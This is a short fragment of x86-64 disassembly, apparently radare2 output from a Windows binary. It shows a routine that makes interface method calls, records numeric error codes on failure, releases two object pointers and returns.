lea rdx, [rsp + 0x68]
call qword [rax + 0x38]
test eax, eax
jns 0x14005f0cf
mov dword [rsp + 0x38], 3
lea rdx, [0x140093438]
lea rcx, [rsp + 0x38]
call fcn.1400622f0
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + 0x38]
test eax, eax
jns 0x14005f0fa
mov dword [rsp + 0x3c], 4
lea rdx, [0x140093438]
lea rcx, [rsp + 0x3c]
call fcn.1400622f0
cmp qword [rdi], 0
jne 0x14005f11a
mov dword [rsp + 0x40], 1
lea rdx, [0x140093438]
lea rcx, [rsp + 0x40]
call fcn.1400622f0
nop
jmp 0x14005f120
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14005f130
mov rdx, qword [rcx]
call qword [rdx + SQLNumResultCols]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14005f140
mov rdx, qword [rcx]
call qword [rdx + SQLNumResultCols]
mov eax, ebx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret